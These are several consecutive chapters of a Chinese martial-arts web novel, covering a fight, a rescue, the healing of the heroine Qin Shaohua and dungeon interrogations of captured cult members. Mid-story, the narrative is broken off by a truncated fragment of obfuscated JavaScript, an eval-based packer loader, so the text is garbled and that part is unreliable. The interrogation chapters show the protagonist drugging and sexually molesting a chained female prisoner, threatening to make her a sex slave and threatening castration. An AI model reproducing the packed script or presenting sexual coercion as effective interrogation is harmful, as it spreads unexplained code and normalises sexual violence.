“下流！”秦韶华怒喝一声，手已经按在了腰间的佩剑上。 鬱风和褚煦对视一眼，都感受到了对方实力的强大。更让他们担心的是，此时秦烨和商媛还在后院休息。 “不过是几个蝼蚁罢了。”他轻蔑地笑了笑，目光在褚煦三人身上逡巡，“既然不肯投降，那就别怪我不客气了。” 话音未落，他随意地挥了挥手。苏华和明远会意，两道身影瞬间掠出，杀气凛然。 褚煦眼神一凝，余光扫向身旁的鬱风。两人目光交汇的瞬间，一个无声的默契在心中达成。秦韶华也立即领会，自然而然地选择了与苏华对战。 明远的实力明显更强，褚煦和鬱风不约而同地选择了联手对敌。 刹那间，整个书房内真气激荡，劲风四起。烛火剧烈摇曳，在墙上投射出重重叠叠的影子，仿佛无数魑魅魍魉在狂舞。 褚煦手中长枪如龙，枪影重重叠叠，与鬱风凌厉的剑光交相辉映。两人配合默契，一攻一守，如同两条游鱼般灵活多变。 然而明远只是冷笑，随手一掌便化解了两人的攻击，那轻描淡写的姿态，就像是在戏耍两只蚂蚁。 “就这点本事，也敢在我面前舞枪弄棒？”明远的声音中充满不屑，“真是不自量力。” 褚煦咬紧牙关，手中长枪愈发凌厉。枪尖划破空气，发出尖锐的啸声。可每一招都被明远轻易化解，这种无力感让他心中憋闷。汗水顺着额角滑落，浸湿了衣襟。 鬱风也不好受，他的剑法本就以快著称，此刻却被明远压制得连还手之力都没有。两人联手，竟然连明远的衣角都碰不到。 另一边，秦韶华与苏华的战斗也陷入了胶着。 苏华的剑法凌厉如秋霜，每一剑都直取要害。秦韶华虽然竭尽全力抵挡，但仍显得有些力不从心。她的额头渗出细密的汗珠，呼吸也变得急促起来。 景长老坐在一旁，眼神肆无忌惮地在秦韶华身上游走。他时不时发出几声淫邪的笑声，那眼神就像是在打量一件即将到手的玩物。 “这小娘们儿，调教起来一定很有意思。”景长老舔了舔嘴唇，“等会儿可得好好疼爱疼爱。” 这话传入褚煦耳中，让他心头怒火更盛。他想要去帮秦韶华，可此时的他，连自保都困难。明远的每一掌都如泰山压顶，让他喘不过气来。 就在这时，明远抓住一个破绽，一掌重重击在秦韶华胸口。 “砰！” 秦韶华整个人如断线风筝般飞出，重重撞在墙上。她的嘴角溢出鲜血，脸色瞬间变得苍白。 第一百三十一章 局势反转 “明远！你下手太重了！”景长老不满地喝道，“这样的尤物，可不能就这么玩坏了。” 明远置若罔闻，走向秦韶华。眼神冰冷，仿佛在看一个**。 秦韶华靠在墙上，嘴角勾起一抹凄美的笑容：“多谢。” 明远微微一怔：“你疯了？我要杀你。” “总比落在那老东西手里好。”秦韶华的声音虚弱，却带着决绝，“死，也要死得干净。” 褚煦心急如焚，可对手根本不给他脱身的机会。他只能眼睁睁看着这一幕发生，内心的焦急几乎要将他撕裂。 秦韶华闭上双眼，等待死亡降临的那一刻。她能感受到明远身上散发出的阴冷气息，那是属于**的气息，冰冷而无情。 “真是可惜了。”明远的声音带着几分遗憾，“如此美人，就这样香消玉殒，实在令人惋惜。” 他缓缓抬起手，掌心凝聚着一股诡异的黑色能量。那能量如同活物般蠕动，散发出令人心悸的气息。 就在这千钧一发之际，一声暴喝突然划破长空。 “住手！” 三道身影从远处疾驰而来，如同流星划过夜空。他们的速度快得惊人，眨眼间便跨越了数百米的距离。 秦烨站在原地，目光如炬，仔细打量着这三个不速之客。他们身着白袍，面戴银色面具，一头白发无风自动，浑身上下散发着令人心悸的气息。 “这气息……”景长老脸色骤变，额头渗出冷汗。他能感受到这三人的实力远在自己之上，一股寒意从脚底直窜上来，让他不由自主地后退了半步。 明远停下了手中的动作，原本玩味的表情瞬间凝固。他的眼中闪过一丝惊恐，显然也察觉到了这三人的不凡。 “诸位，在下青云教景长老。”景长老强作镇定，拱手作揖，“今日前来只为处理虎卫之事，还请给个薄面。” 为首的白袍人冷冷开口：“景长老，你害人无数，今日便是你的死期。” 这话一出，景长老心头剧震。他没想到对方不仅知道自己的身份，更清楚自己的所作所为。额头的冷汗越来越多，顺着脸颊滑落。 “这位大侠，有话好说……”景长老的声音已经开始发颤。 “废话少说。”三名白袍人异口同声，声音中带着不容置疑的威严。 “擅闯虎卫重地，胆大包天。” 这句话如同一记惊雷，在场众人皆是一惊。 “你们……是虎卫的人？”苏华忍不住开口，声音中带着难以置信。 谁能想到，虎卫竟然还有这样的高手坐镇。这完全出乎所有人的预料。 就在这剑拔**张之际，一道熟悉的声音传来。 “真是热闹啊。” 秦烨缓步而来，每一步都仿佛踩在众人心上。他的目光直视明远，眼中带着一丝玩味。 明远瞳孔骤缩：“是你！” 他的声音中带着惊恐，显然认出了秦烨的身份。那张原本从容的脸上，此刻写满了惊慌。 “拿下他们，一个不留。”秦烨淡淡下令，声音不大，却带着不容置疑的威严。 三名白袍人瞬间出手，招式凌厉，气势如虹。他们的动作快若闪电，招招致命。 秦烨快步来到秦韶华身边，为她把脉。入手的脉搏微弱而紊乱，显然伤势不轻。 “组长，我们虎卫什么时候……”秦韶华虚弱地问道，声音细若蚊蝇。 秦烨没有回答，眉头紧锁。秦韶华的伤势很重，已经危及性命。必须尽快送她回去医治。 战斗进行得异常迅速。三名白袍人的实力远超明远等人，很快便将他们制服。 “留他们性命。”秦烨出声提醒。他需要从这些人口中问出更多信息。 就在这时，变故陡生。 景长老突然暴起，浑身散发出诡异的红光。 “影遁！” 伴随着一声厉喝，一阵血雾弥漫开来。等血雾散去，景长老的身影已经消失不见。 “组长，这是失传已久的影遁之术。”一名白袍人解释道，“速度奇快，估计是追不上了。” 明远突然狂笑起来：“等着吧，主上来了，你们都得死！” 他的笑声中带着疯狂，仿佛已经看到了秦烨等人的下场。 可话音未落，秦烨却如箭矢般冲了出去，然后带着千钧的气势，一掌击出！ 一道人影从天空坠落，重重砸在地面上，碎石四溅。尘埃散去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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秦韶华靠在秦烨怀中，感受着他身上传来的温暖。她知道自己伤得很重，或许活不过今晚。但能死在心上人怀里，似乎也是一种幸福。 商媛站在一旁，看着这一幕，心中泛起一丝异样。她下意识地蹙眉，却又不知为何会有这种情绪。那种酸涩的感觉让她有些烦躁。 第一百三十二章 韶华治伤 “嫂嫂，韶华重伤，需要借用你的房间。”秦烨开口道。 商媛这才回过神来，连忙点头：“好，快进来。” 将秦韶华放在床上，秦烨二话不说就要解她的衣衫。动作虽然急切，但却十分轻柔，生怕弄疼了她。 “这……”商媛有些惊讶，下意识地想要阻止。 “救人要紧，顾不得那么多了。”秦烨神色凝重，“她的伤势很重，必须立刻处理。” 当衣衫褪去，一个狰狞的掌印赫然出现在秦韶华胸口。骨头明显错位，显然是被人一掌打断了数根肋骨。伤口周围已经开始发青，看起来触目惊心。 “她快不行了。”商媛急道，“要不要请大夫来看看？” 秦烨摇头：“来不及了。” 他也察觉到秦韶华的呼吸越来越微弱，气息已经开始紊乱。这种情况下，普通大夫根本无能为力。 他顾不得许多，立刻运转真气，准备强行为她续命。这种手段他一向反对，因为容易加重伤势。但眼下也只能如此了。 然而当真气渡入秦韶华体内时，秦烨却愣住了。 按理说，外来真气必然会遭到排斥。可秦韶华的身体却像海绵一般，毫无阻碍地吸收着他的真气。这种感觉，就像是两股本就同源的力量在交融。 秦烨眉头紧锁。他隐约觉得，秦韶华的体质似乎有些特殊。这种情况他从未遇到过，也从未在任何典籍中看到过记载。 【继续输送真气。】秦烨暗暗思忖，【先保住她的命再说。】 随着真气源源不断地注入，秦韶华的脸色渐渐有了血色。她的呼吸也逐渐平稳下来，原本紊乱的气息开始恢复正常。 “总算是暂时稳住了。”秦烨松了口气，额头上已经布满了汗珠。 秦烨收回内力，缓缓吐出一口浊气。为秦韶华疗伤耗费了他不少精力，但总算是将她从鬼门关拉了回来。 他正要替她整理衣衫，却发现那双明亮的眸子正在注视着自己。不知何时，秦韶华已经醒了过来。她的脸色依旧苍白，但眼神已经恢复了几分神采。 四目相对的瞬间，秦韶华脸颊泛起红晕。她能感受到秦烨的手掌正轻轻拂过自己的衣衫，那温热的触感让她心跳加快。空气中似乎多了几分暧昧的气息。 “你醒了。”秦烨笑了笑，收回手掌。他的声音温和，带着一丝疲惫。 房间里只剩下他们两人。商媛早已识趣地退了出去，只留下一盏昏黄的烛火在角落里静静燃烧。 秦韶华轻轻点头，目光中带着几分复杂：“多谢你救我。”她的声音很轻，像是怕惊扰了这份宁静。 “举手之劳罢了，你是虎卫的人，这是应该的。”秦烨随口说道，同时暗自观察着她的反应。 这句话让秦韶华心头一紧。原来在他眼中，自己不过是虎卫的一员。她低下头，长长的睫毛微微颤动，掩饰着眼中的失落。 秦烨察觉到了她的情绪变化，连忙补充道：“况且，我也不忍心看着你这样香消玉殒。”他的语气中带着几分调侃，试图缓解尴尬的气氛。 秦韶华眼睛一亮，抬头看向他：“当真？”她的眼中闪烁着期待的光芒。 “自然。”秦烨点头，目光柔和地看着她。 秦韶华咬了咬嘴唇，鼓起勇气道：“我……我能靠着你的肩膀休息一会吗？”她的声音带着几分羞怯，像是担心会被拒绝。 “当然可以。”秦烨没有丝毫犹豫。他微微调整了一下坐姿，让她能靠得更舒服些。 得到允许后，秦韶华小心翼翼地靠在了他的肩头。她能闻到秦烨身上淡淡的药香，混合着独特的男性气息，让她感到异常安心。 秦烨轻轻拍着她的后背，像是在安抚一只受惊的小鹿。“能和我说说你的来历吗？”他轻声问道。 秦韶华沉默片刻，轻声道：“秦烨，你有没有感觉，我们似乎在哪里见过？”她的声音带着几分迷茫，仿佛在回忆着什么。 这个问题让秦烨愣了一下。他仔细回想着过往的经历，却完全没有任何印象。但不知为何，他对秦韶华确实有种莫名的熟悉感。 “或许是巧合吧。”秦烨说道，语气中带着几分疑惑。 “不，我能感觉到，这种熟悉感不是错觉。”秦韶华坚持道，“只是我也想不起来具体在哪里见过你。”她的眉头微微皱起，像是在努力搜寻记忆的碎片。 秦烨笑了笑：“别想太多了。”他轻轻揉了揉她的头发，“重要的是现在。” 秦韶华靠在他肩头，忽然问道：“你觉得我长得好看吗？”她的语气中带着几分忐忑，像是在期待着什么。 “当然好看。”秦烨看着她精致的容颜，由衷赞叹，“你这样的女神，放眼天下都不多见。”烛光下，秦韶华的侧脸显得格外柔美，让人不禁心生怜惜。 “真的吗？”秦韶华有些不敢相信，眼中闪过一丝惊喜。 “难道你不知道自己有多美？”秦烨有些诧异地看着她。在他看来，秦韶华的美貌是显而易见的，不需要任何人提醒。 秦韶华摇摇头，语气中带着几分落寞：“我从小和爷爷生活在江南，很少接触外人。来到汴城后，也没什么人愿意接近我……” 秦烨忍不住笑了。这姑娘竟然不知道，正是因为她太过出众，才让人不敢轻易靠近。那些躲避的目光，不过是因为自惭形秽罢了。 “说起你爷爷，他在江南做什么？”秦烨转移了话题，同时暗自思索着秦韶华的来历。 “不太清楚。”秦韶华摇头，眼中闪过一丝困惑，“我只知道爷爷生病了，所以让我跟着赵帮主来汴城。” “生病了？”秦烨皱眉，总觉得事情没那么简单，“那为什么不去找名医，反而让你来汴城？” 秦韶华也是一脸困惑：“我也不明白。爷爷只是让我来汴城，也没说具体原因。”她的语气中带着几分无奈。 “那你什么时候准备回去？”秦烨继续追问，秦韶华却摇了摇头。 秦烨看着秦韶华摇头的样子，心中暗自思量。这丫头来汴城，恐怕另有隐情。 秦韶华低垂着眼帘，纤长的睫毛微微颤动。 “爷爷没说何时让我回去。”秦韶华轻声说道，语气中带着几分迷茫，手指无意识地绞着被角。 秦烨眉头微皱，目光在秦韶华脸上停留了片刻。她眼底有着不易察觉的慌乱，似乎在极力掩饰什么。 “你爷爷让你来汴城，怕是另有深意。”秦烨缓缓开口，声音低沉而富有磁性。 秦韶华猛地抬头，眸中闪过一丝惊慌：“深意？我……我也猜不透。”她的手指攥紧了被角，指节泛白。 第一百三十三章 韶华来历 秦烨打量着眼前这张绝美的容颜，忽然开口问道：“韶华，你今年多大？” “十八。”秦韶华答道，声音轻得几乎听不见。 这个答案让秦烨着实吃了一惊。修行之人容颜不老，单凭外表很难判断年龄。但十八岁就有如此修为，确实令人震惊。 要知道，能与苏华、明远这等高手过招，已非等闲之辈。更何况还身居玄铁会长老之位。这背后究竟藏着什么秘密？ 房间里一时陷入沉默，只有窗外传来几声鸟鸣。 秦烨不由想起了小师妹沈飞雪，也是这般年纪就已展露惊人天赋。但沈飞雪背后可是江湖顶级世家，有着深厚的底蕴支撑。 那么秦韶华的家世，恐怕也不简单。 “怎么了？”秦韶华见秦烨神色异样，不由问道。她微微侧头，发丝从肩头滑落，带着淡淡的幽香。 “没事。”秦烨摆摆手，语气温和，“你先好好休养，虎卫的事不用操心。养好伤才是要紧事。” “嗯。”秦韶华点头应下，颇为感动。她从未感受过有人如此关心自己，一时间心头涌起暖意。 “秦烨，我……”秦韶华欲言又止，脸颊微红。她想说些什么，却又不知该如何开口。 秦烨看出了她的心思。这丫头怕是从小到大都没怎么接触过异性，如今遇到自己这般照顾，难免会生出些许情愫。 想到这里，秦烨不禁莞尔。笑容温暖而迷人。 正在这时，房门被推开，发出轻微的吱呀声。商媛端着药碗走了进来，青色的裙摆随着她的步伐轻轻摆动。 只见秦韶华正靠在秦烨肩头，秦烨的手轻轻搭在她背上，画面温馨而亲密。这一幕让商媛心头一颤，手中的托盘差点没拿稳。 她强压下那股酸涩的感觉，挤出一丝笑容：“秦烨，药熬好了。”声音有些发涩。 “多谢嫂嫂。”秦烨想让秦韶华坐直，但她似乎还沉浸在方才的温存中，不愿离开这个依靠。 商媛见状，心中那股无名火更盛。她紧咬着下唇，指甲深深陷入掌心。 “谢就不必了。”她语气不善，“没打扰到你们才好。”说着重重将托盘放在桌上，瓷器相碰发出清脆的响声。 “我先走了，免得碍着你们。”商媛转身就走，裙摆在空中划出一道弧线。 看着商媛气冲冲离开的背影，秦烨苦笑。阳光下，他的表情有些无奈。 “嫂嫂这是……”秦韶华不解地看向秦烨，眼中带着几分疑惑。 “没什么，先把药喝了吧。”秦烨轻声说道，伸手扶她坐起。 商媛走出房门，才惊觉自己方才表现得太过明显。她靠在廊柱上，感受着微凉的触感。 她俏脸微红，心中暗自懊恼。【我怎么会对秦烨……产生这样的心思？他可是马玄的兄弟啊。而且马玄才走多久？我怎能这般不知检点？】 商媛站在廊下，心乱如麻。春日的微风拂过她的发丝，却无法带走她内心的纷乱。 房中，秦烨扶着秦韶华喝完药，看着她因苦涩皱起的眉头，轻声道：“好好休息，我晚些再来看你。” 秦韶华依依不舍地点点头，眼中带着不舍。月光洒在她的侧脸上，为她添了几分柔美。 秦烨起身离开，心中思绪万千。这些日子以来，身边的女子越来越多。苏华、明远、秦韶华，还有嫂嫂商媛…… 每个都是不同的性格，不同的故事。有的清冷如霜，有的热情似火，有的温婉似水，有的刚强似铁。 他叹了口气，这或许就是命运的安排吧。 走出房门，迎面碰上还在廊下踌躇的商媛。四目相对，一时无言。春风拂过，带来一阵花香。 “嫂嫂……” “我……” 两人同时开口，又同时沉默。空气仿佛凝固了一般。 最终是商媛先转身离去，只留下一串急促的脚步声，还有淡淡的幽香在风中飘散。 秦烨望着她的背影，心中五味杂陈。这些情愫，终究需要时间来化解。 商媛坐在房中，望着窗外的月色，心中五味杂陈。 她不知道自己这样做，是对是错。手指无意识地摩挲着手中的锦帕，思绪纷乱如麻。 秦烨虽是太监，但他的一举一动，都让她心中荡漾。那双深邃的眼眸，举手投足间的气度，哪里像是一个太监？ “赵马玄，你在九泉之下可会怪我？”商媛轻声呢喃，声音几不可闻。 窗外的月光洒在她的脸上，照出一片苍白。她想起那日在柳府的酒宴，沈飞雪似有意无意地试探秦烨。当时她虽醉意朦胧，但那一幕却始终萦绕在心头。 【沈飞雪的眼神带着探究，言语间暗藏机锋。她在怀疑什么？】 这个念头一起，便如同野草般疯长。商媛玉手轻抚胸口，心跳不由加快。若秦烨当真不是太监，那这段时日的暧昧，岂不是…… 她猛地站起身，在房中来回踱步。月光下，她的影子被拉得很长。 “不行，我得想个办法试探。”商媛咬着下唇，眉头紧蹙。 与此同时，秦烨回到房间正在照料秦韶华。烛光下，秦韶华的脸色苍白如纸。 “喝了这碗药，好好休息。”秦烨将药碗递到她唇边，声音轻柔。 秦韶华虚弱地点点头，将药汤一饮而尽。她的手指微微颤抖，显然还未从之前的惊吓中恢复。 “多谢公公。”秦韶华低声道，眼中闪过一丝感激。 秦烨放下药碗，为她掖了掖被角。“好生歇着，有事唤我便是。” 待秦韶华沉沉睡去，秦烨这才转身离开。 虎卫地牢内，气氛凝重。阴冷的空气中弥漫着血腥味，墙上的火把投下跳动的光影。 景长老、苏华、明远和那黑衣人被分开关押。几名影卫高手守在外面，戒备森严。他们的眼神警惕，手按在刀柄上，随时准备应对突发情况。 秦烨走进地牢，脚步声在石壁间回荡。他的目光如刀般扫过四人，在每个人脸上停留片刻。 “说说吧，上官煜究竟给了你们什么好处？”他的声音不疾不徐，却带着不容置疑的威压。 此言一出，几人脸色剧变。明远强作镇定：“不知你在说什么。”他的声音略显嘶哑，显然经过一番折磨。 “是吗？”秦烨冷笑，眼中闪过一丝寒意，“那我换个方式问。” 第一百三十四章 逐一盘问 话音未落，他手中银针疾射而出。景长老和明远的咽喉同时中针，声带瞬间被封。两人瞪大眼睛，却发不出半点声音。 “带景长老下去。”秦烨对守卫吩咐道。 待景长老被带走，秦烨的目光落在苏华身上。这女子生得妖娆，一身红衣更显风情。即便是在这阴暗的地牢中，也掩不住她的艳丽。 秦烨缓步上前，手掌轻抚其面庞。苏华眼中闪过一丝慌乱，想要躲避却被铁链束缚。 明远在一旁目眦欲裂，却无法发出声音。他的指甲深深陷入掌心，鲜血顺着指缝滴落。 “带她去隔壁。”秦烨淡淡道。两名守卫立即上前，架起苏华向隔壁审讯室走去。 审讯室内，秦烨解开苏华部分穴道。昏暗的烛光下，她的脸色显得格外苍白。 “现在可以说了吗？”秦烨的声音依旧平静。 苏华咬紧牙关，一言不发。她的眼神中带着倔强，似乎已经做好了赴死的准备。 秦烨眉头微皱，手指在她身上游走。“你们对上官煜如此忠心，想必他给了你们不少好处。” 苏华依旧倔强，但眼中已有泪光。她的身子微微发抖，不知是因为寒冷还是恐惧。 秦烨突然察觉到异样，手指在她心口处轻点。“原来如此，竟是蛊虫。” 三根银针瞬间刺入苏华心口要穴。她的身子猛地一颤，脸色更加苍白。 “蛊虫已被封印，你可以说实话了。”秦烨的声音中带着一丝笑意。 苏华眼中闪过震惊之色。她没想到秦烨竟能看破这一点。蛊虫是上官煜用来控制他们的手段，一旦背叛，就会被蛊虫噬心而死。 “就算如此，我也不会背叛主上。”苏华咬牙道，声音中带着决绝。 秦烨眼中精光一闪。“是吗？那我们慢慢来。” 他的手掌缓缓下移，然后用力握住，苏华身子一颤，却无力反抗。冷汗顺着她的额头滑落，打湿了衣襟。 秦烨站在昏暗的地牢中，目光冷冷地打量着被铁链锁住的苏华。烛光在她白皙的脸庞上跳动，映照出一张倔强的面容。 “真是嘴硬得很啊。”他轻声说道，手指若有若无地划过苏华的脸颊。 苏华别过头去，试图躲避他的触碰，但铁链的桎梏让她无处可逃。她的呼吸有些急促，胸口剧烈起伏着，却倔强地不肯发出一丝声音。 秦烨收回手，在她面前蹲下。“我知道你在害怕，但你不用这样。只要告诉我上官煜的计划，我立刻就放你走。” “做梦！”苏华啐了一口，唾沫差点落在秦烨脸上。 秦烨不动声色地避开，站起身来掸了掸衣袖。地牢里的空气愈发沉闷，他能感受到苏华身上散发出的敌意。 “你以为我会相信你吗？”苏华冷笑一声，“青云教的人都知道，你就是个背信弃义的小人！” 秦烨眼中闪过一丝寒芒，他俯下身，一把掐住苏华的下巴。“看来你还不明白自己的处境。” 苏华吃痛，但仍然倔强地瞪着他。 “既然你这么不配合……”秦烨的手指在苏华身上几处穴位轻点，一股奇异的感觉瞬间传遍苏华全身。 “啊……”苏华忍不住发出一声轻吟，随即又紧紧咬住嘴唇。她能感觉到体内有一股燥热在蔓延，这让她惊恐万分。 “这是"迷魂散"的改良配方，”秦烨轻笑着说，“再配合几处穴道，效果会让你终生难忘。” “你……你这个畜生！”苏华挣扎着，铁链发出刺耳的碰撞声。 秦烨不为所动，继续说道：“既然你这么不配合，不如就让你尝尝被调教成性奴的滋味。” 苏华瞪大了眼睛，眼中满是惊恐。她从未想过自己有朝一日会落到这种境地。 “你敢！青云教不会放过你的！” “上官煜？”秦烨嗤笑一声，“你以为他会在乎你们这些小喽啰？” 他的手指轻轻划过苏华的锁骨，感受着她的颤抖。“青云教像你们这样的手下多如牛毛，上官煜怎么可能为了你们几个和我作对？说不定，只要我愿意投靠他，杀了你们他都不会皱一下眉头。” 苏华脸色骤变，她太了解上官煜了。那个男人心狠手辣，除了巫疆法女，其他人在他眼中都是可以随意抛弃的棋子。 秦烨继续在她身上点了几处穴道，苏华顿时感到一阵酥麻，身体不受控制地颤抖起来。 “不要……”她的声音带着哭腔。 “现在求饶，是不是太晚了点？”秦烨的声音带着几分玩味。 苏华羞愤难当，她宁愿死去，可身体却不受控制地对秦烨的触碰起了反应。这种背叛般的感觉让她无地自容。 就在这时，外面传来一阵脚步声。秦烨转身看去，只见手下押着另一个俘虏走了进来。 秦烨走了过去，拔出了封住明远穴位的银针。 “明远……”苏华看到来人，声音颤抖。 明远看到苏华的狼狈模样，顿时暴怒：“秦烨，你这个畜生！” 秦烨不以为意，示意手下将明远锁在对面的墙上。“你们两个倒是挺般配的，一个比一个硬气。” “你对苏华做了什么？”明远怒吼。 “也没什么，”秦烨漫不经心地说，“就是摸摸脱光而已。不过嘛，她的身子还挺敏感的。” “我要杀了你！”明远疯狂挣扎，铁链哗啦作响。 秦烨走到明远面前，突然出手点了他几处穴道。明远顿时感到体内的蛊虫安静下来，那种噬心般的痛苦消失了。 “看到了吗？我能解你的蛊毒。”秦烨说，“只要你告诉我上官煜的计划，我不仅会治好你，还会放你们离开。从此双飞双宿，不是很好吗？” 明远沉默了，他看了看苏华，又看了看秦烨。 “你休想从我口中得到任何关于主上的消息。” “真是又臭又硬啊。”秦烨叹了口气，“那就别怪我不客气了。” 他走回苏华身边，手指在她身上游走。苏华忍不住发出一声呻吟，随即又羞愤地咬住嘴唇。 “你看，她很享受呢。”秦烨对明远说，“要不要听听她喊的是谁的名字？” 明远浑身颤抖，眼中充满了痛苦和绝望。 “是你啊，明远。”秦烨故意停顿了一下，“她一直在喊你的名字，可惜你救不了她。” 明远如遭雷击，整个人都瘫软下来。他无法接受自己连保护心爱之人都做不到的事实。 “你的性命，我可以留着。”秦烨站在窗前，月光透过窗棂在他脸上投下斑驳的阴影，“但不是让你好好活着。” 明远跪在地上，双手被铁链牢牢束缚。他抬头望向秦烨，眼中闪过一丝不甘与恐惧。房间里的油灯摇曳，将他的影子拉得老长。 第一百三十五章 威逼利诱 秦烨转过身，缓步走到明远面前。他俯下身，手指轻轻抬起明远的下巴，嘴角勾起一抹冷笑：“我会让你成为我的阉奴。” 明远的瞳孔猛地收缩，脸色瞬间变得惨白。他张了张嘴，却发不出任何声音。冷汗顺着额头滑落，在地上汇成一小滩水渍。 “带下去。”秦烨挥了挥手，两名侍卫立即上前，架起明远向外走去。 明远被拖出房间时，发出一声凄厉的惨叫。那声音在寂静的夜里显得格外刺耳，却很快被关门声打断。 秦烨的笑容瞬间收敛。他走到桌前，指尖轻轻敲击着桌面。今晚抓到的几个人中，最难对付的就是景长老。那老家伙不仅武功高强，更是上官煜的心腹。 “该去会会这位老朋友了。”秦烨低声自语，起身向关押景长老的牢房走去。 走廊里阴暗潮湿，墙壁上的火把发出噼啪声响。脚步声在空旷的走廊中回荡，显得格外清晰。 推开关押景长老的房门，油灯的光芒照亮了这间阴暗的牢房。景长老被铁链锁在墙角，但他的眼神依旧锐利。 “不用问了，我什么都不会透露。”景长老抬头看向秦烨，声音沙哑却坚定。 “是因为这个？”秦烨指了指景长老的胸口，那里藏着一只致命的蛊虫。 景长老的瞳孔猛地收缩，身体不自觉地颤抖了一下。他没想到秦烨竟知道这个秘密。 “很惊讶？”秦烨在他面前蹲下，目光如炬，“我对你们的了解，远比你们想象的要多得多。” 牢房里安静得可怕，只能听见景长老粗重的呼吸声。 “有些事不说我也知道，但说出来，能换你一条命。”秦烨的声音带着诱惑，“仿若你这样的大神，应该不想就这么死了吧？” 景长老沉默不语，但眼神中的动摇已经出卖了他。 “跟着上官煜有什么好？”秦烨压低声音，“不如投靠我。上官煜给你的，我都能给。比如说……苏华。” 听到“苏华”二字，景长老的呼吸明显急促起来。那是他朝思暮想的女人，却因为是上官煜的心腹，他从未敢有非分之想。 “不行……我不能说……”景长老艰难地摇头，声音中带着挣扎，“说了我必死无疑。” “不说，你以为能活着走出这里？”秦烨冷笑，“今天这儿控制了四个人，我只给一个活命的机会。那个穿黑衣服的已经招了。” 景长老的眼神开始闪烁，他不知道其他人是否真的招供。但秦烨说得对，不说就是死路一条。 “我……我说。”景长老终于咬牙开口。 “上官煜不仅是大周上官煜，他还有很多身份……” “兵器录第一高手芮容霄，青云教教主，这些我都知道。”秦烨不耐烦地打断他，“说点有用的。” 景长老心中一惊，没想到秦烨对上官煜如此了解。他深吸一口气，继续道：“他……他还是胡人的可汗之一，掌控着巫疆最大的势力。” “而且他想要……” “谋反。”秦烨眯起眼睛，语气冰冷。 景长老震惊地看着秦烨，这等机密竟也被他知晓。他的额头渗出细密的汗珠，声音开始发颤：“没错，就是谋反，他打算在……” “明年动手。” 景长老彻底慌了。看来秦烨早已掌握了大量情报，上官煜的计划恐怕难以成功。 “说点我不知道的。”秦烨催促道，语气不耐。 景长老咽了咽口水：“最近上官煜调了大批人手去了江南……” “去江南做什么？”秦烨眉头一皱，这倒是个新消息。 “是为了夺取东雄图墓中的三种绝世功法，七星养气诀、噬月大功和天地大挪移。” 秦烨神色一凝：“没有紫电剑，他如何进墓？” “有人在墓边打了盗洞，但里面有守墓人，功力高深。所以上官煜才调了这么多人过去。”景长老的声音越来越小。 秦烨陷入沉思。这三种功法若是落入上官煜之手，后果不堪设想。江湖上早有传言，这三种功法合练，可以让人的功力突飞猛进。 “说说上官煜的功法和弱点。”秦烨继续追问，眼中闪过一丝精光。 景长老眯着眼睛，浑浊的目光中闪过一丝迟疑。似乎在思索如何开口。 “这上官煜的事，老夫倒是知道一些。”沙哑的声音在昏暗的房间内回荡。 秦烨静静地站在一旁，目光如炬，不动声色地等待着下文。房间内的烛火摇曳，在墙上投下跳动的阴影。 “江湖上早已失传的噬月大功，就是他的看家本领。”景长老缓缓道，声音中带着一丝忌惮，“这门功法极其霸道，能吸人功力为己用。再配上他那出神入化的剑法，这才在兵器录上占据第一把交椅。” 说到这里，景长老不自觉地打了个寒颤，仿佛想起了什么不愉快的回忆。他抬手擦了擦额头渗出的冷汗，继续说道：“老夫亲眼见过一次，那是在三年前的武林大会上。一位成名已久的高手，仅仅与他过了三招，就被吸干了功力，成了个手无缚鸡之力的废人。” 秦烨眉头微皱，想起之前在明远身上看到的异常情况。难怪会在他体内发现噬月大功的痕迹，原来是这么回事。 “如何克制这噬月大功？”秦烨沉声问道。 景长老苦笑着摇了摇头：“需要七星养气诀。可惜这功夫也失传已久，据说最后一位传人在二十年前就已经仙逝了。” “还有什么要说的？”秦烨的声音依旧平静，心中却抑制不住的激动。 “他与巫疆法女关系匪浅，那是他的心头挚爱。”景长老压低声音，“据说为了她，上官煜不惜背叛师门，盗取镇派绝学。” 秦烨点点头：“继续。” “实不相瞒，老夫知道的就这些了。”景长老叹了口气，“这些年来，上官煜行事极其谨慎，很少露面。能知道这些，已经是老夫打听了很久的结果。” “你提供的信息很有价值。” 秦烨转身离开，脚步声在空旷的走廊中回响。他径直朝关押苏华的房间走去。推开沉重的木门时，黑暗中传来轻微的响动。 苏华抬起头，虽看不清来人，但那熟悉的脚步声已说明了一切。她被关在这里已经三天了，除了送饭的时候，没有人来看过她。 这种被囚禁在黑暗中的感觉，足以让任何人崩溃。更何况她还要承受着体内蛊虫的折磨，那种撕心裂肺的痛楚，每时每刻都在考验着她的意志。 秦烨走到苏华面前，取下堵住她嘴的布条。昏暗的光线下，能看到她脸上的憔悴和疲惫。 “现在愿意开口了吗？”秦烨的声音不带任何感情。 苏华咬着嘴唇，倔强地保持沉默。她的手指紧紧攥着衣角，指节发白。 “随你。”秦烨转身欲走，“多你一个也没什么。让那些人好好"招待"你也无妨，或者……”他意味深长地停顿了一下，“让些野兽来陪陪你。” 第一百三十六章 防线崩溃 阴冷的笑声在黑暗中回荡，带着令人毛骨悚然的寒意。 “我说！”苏华终于崩溃，声音中带着哭腔，“我全都说……” 与此同时，上官煜正在书房中翻阅典籍。烛光下，他的面容俊美异常，气质儒雅。这样的人，很难让人相信他会是江湖中令人闻风丧胆的魔头。 案几上摆着一壶上好的龙井，茶香袅袅。时不时传来翻页的声响，显得格外安静祥和。 时间已过去数个时辰，明远、苏华和景长老却迟迟未归，连消息也没传回一个。 上官煜微皱眉头，但并未太过在意。修长的手指轻轻敲击着桌面，发出有节奏的声响。 对他而言，手下不过是工具，死了也就死了。青云教中像他们这般实力的人多的是。更何况，他们体内都种有巫疆蛊毒，就算被擒，也不可能泄露任何秘密。 所以上官煜依旧悠然自得地看着书，仿佛这事与他毫无关系。只是那微微蹙起的眉头，还是暴露了他内心的一丝不安。 另一边，秦烨走进关押明远的房间。房间内弥漫着一股淡淡的血腥味，那是之前审讯留下的痕迹。 “你可以走了。”秦烨的声音在寂静中显得格外清晰。 明远一愣，不敢相信自己的耳朵：“什么？” “有人用命换你活着。”秦烨的语气依旧平淡。 “是苏华？”明远脱口而出，随即意识到自己说漏了嘴。 